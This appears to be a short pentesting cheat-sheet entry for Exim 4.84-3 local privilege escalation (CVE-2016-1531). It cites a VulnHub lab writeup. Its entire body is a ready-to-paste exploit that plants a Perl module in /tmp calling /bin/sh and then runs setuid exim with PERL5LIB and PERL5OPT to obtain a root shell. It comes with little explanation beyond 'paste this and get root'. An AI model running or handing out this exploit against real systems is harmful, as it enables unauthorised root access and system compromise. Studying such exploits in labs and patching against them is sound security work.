# Exim 4.84-3 - Local Privilege Escalation

<https://g0blin.co.uk/pluck-vulnhub-writeup/>

**#Paste this in one go and get #root, no need to run each command separately.**&#x20;

```
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
```